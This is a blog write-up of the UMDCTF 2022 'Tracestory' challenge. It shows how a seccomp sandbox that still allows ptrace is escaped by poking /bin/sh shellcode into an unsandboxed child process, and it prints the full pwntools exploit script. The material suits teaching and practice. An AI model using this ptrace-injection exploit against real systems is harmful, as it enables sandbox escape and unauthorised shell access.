Home UMDCTF 2022
Post
Cancel

UMDCTF 2022

Tracestory

I am trying to figure out the end of this story, but I am not able to read it. Could you help me figure out what it is?

Author: WittsEnd2

0.cloud.chals.io 15148

Summary

This is a seccomp challenge where you have to utilize ptrace to change behavior of child process.

Analysis

Binary Analysis

Looking at main function, here are interesting things:

  1. Uses seccomp
  2. Uses fork
    1. Child process calls function called read_story()
    2. Parent process then calls read_input() then setup_seccomp()
  3. Whatever gets written to read_input() will eventually be called as function in var_1020()

Child is forked off before seccomp rules gets applied. Parent process gets input from user then just executes it. (Memory where they store the user function is mmaped with xwr permission)

Seccomp Rules Analysis

Using seccomp-tools, you can dump the seccomp rules

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x18 0xc000003e  if (A != ARCH_X86_64) goto 0026
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x15 0xffffffff  if (A != 0xffffffff) goto 0026
 0005: 0x15 0x13 0x00 0x00000003  if (A == close) goto 0025
 0006: 0x15 0x12 0x00 0x00000004  if (A == stat) goto 0025
 0007: 0x15 0x11 0x00 0x00000005  if (A == fstat) goto 0025
 0008: 0x15 0x10 0x00 0x00000006  if (A == lstat) goto 0025
 0009: 0x15 0x0f 0x00 0x0000000a  if (A == mprotect) goto 0025
 0010: 0x15 0x0e 0x00 0x0000000c  if (A == brk) goto 0025
 0011: 0x15 0x0d 0x00 0x00000015  if (A == access) goto 0025
 0012: 0x15 0x0c 0x00 0x00000018  if (A == sched_yield) goto 0025
 0013: 0x15 0x0b 0x00 0x00000020  if (A == dup) goto 0025
 0014: 0x15 0x0a 0x00 0x00000021  if (A == dup2) goto 0025
 0015: 0x15 0x09 0x00 0x00000038  if (A == clone) goto 0025
 0016: 0x15 0x08 0x00 0x0000003c  if (A == exit) goto 0025
 0017: 0x15 0x07 0x00 0x0000003e  if (A == kill) goto 0025
 0018: 0x15 0x06 0x00 0x00000050  if (A == chdir) goto 0025
 0019: 0x15 0x05 0x00 0x00000051  if (A == fchdir) goto 0025
 0020: 0x15 0x04 0x00 0x00000060  if (A == gettimeofday) goto 0025
 0021: 0x15 0x03 0x00 0x00000065  if (A == ptrace) goto 0025
 0022: 0x15 0x02 0x00 0x00000066  if (A == getuid) goto 0025
 0023: 0x15 0x01 0x00 0x00000068  if (A == getgid) goto 0025
 0024: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 0026
 0025: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0026: 0x06 0x00 0x00 0x00000000  return KILL

Simplified view of above rules

allowed syscalls

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
 close
 stat
 fstat
 lstat
 mprotect
 brk
 access
 sched_yield
 dup
 dup2
 clone
 exit
 kill
 chdir
 fchdir
 gettimeofday
 ptrace
 getuid
 getgid
 exit_group

Looking at these syscall, only write primitive syscall was ptrace and also the challenge is called trace_story so it is very obvious that we would need to use ptrace eventually.

Solution

We can use ptrace to overwrite child’s text segment with our assembly code. Child process executes random code in a infinite loop so we can just overwrite the code in the beginning of the infinite loop.

Usual process for using ptrace function goes as follow Attach to child process ptrace(PTRACE_ATTACH, CHILD_PID, 0, 0) -> Wait for child to attach wait(0) -> Write to child’s text segment to change the code by ptrace(PTRACE_POKETEXT, CHILD_PID, CODE_ADDRESS, 8_BYTES_OF_CODE) -> Detach from child ptrace(PTRACE_DETACH, CHILD_PID, 0, 0)

Problem is we don’t have wait() in our syscall. So we can probably use gettimeofday and calculate our time that way but as great Ken Thompson said once, When in doubt, use brute force. So I will just attach -> write_text -> detach -> go back to beginning and repeat.

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *

exe = context.binary = ELF('trace_story')
context.terminal = ['tmux', 'splitw', '-h']



def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:
        return remote(args.HOST, int(args.PORT))
    else:
        return process([exe.path] + argv, *a, **kw)



gdbscript = f'''
tbreak main
set follow-fork-mode parent
# set detach-on-fork off

b *0x401907
# b *0x401789
continue
'''.format(**locals())

# -- Exploit goes here --
"""
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
"""

io = start()


io.recvuntil("pid: ")
pid = int(io.recvline().strip())
print(f'pid is {pid}')




payload = "begin:"
payload += shellcraft.ptrace(constants.linux.PTRACE_ATTACH, pid, 0, 0)

binsh = asm(shellcraft.sh())
start_addr = 0x401789

for i in range(0, int(len(binsh)/8)):
    load_shit = u64(binsh[i * 8:8+(i*8)])
    payload += shellcraft.ptrace(constants.linux.PTRACE_POKETEXT, pid, start_addr + (i * 8), load_shit)

payload += shellcraft.ptrace(constants.linux.PTRACE_DETACH, pid, 0, 0)

payload += """
jmp begin
"""

io.sendlineafter(b'Input: \n', asm(payload))

io.interactive()
This post is licensed under CC BY 4.0 by the author.

Using Binary Ninja for Vulnerability Research

LibAFL Tuple List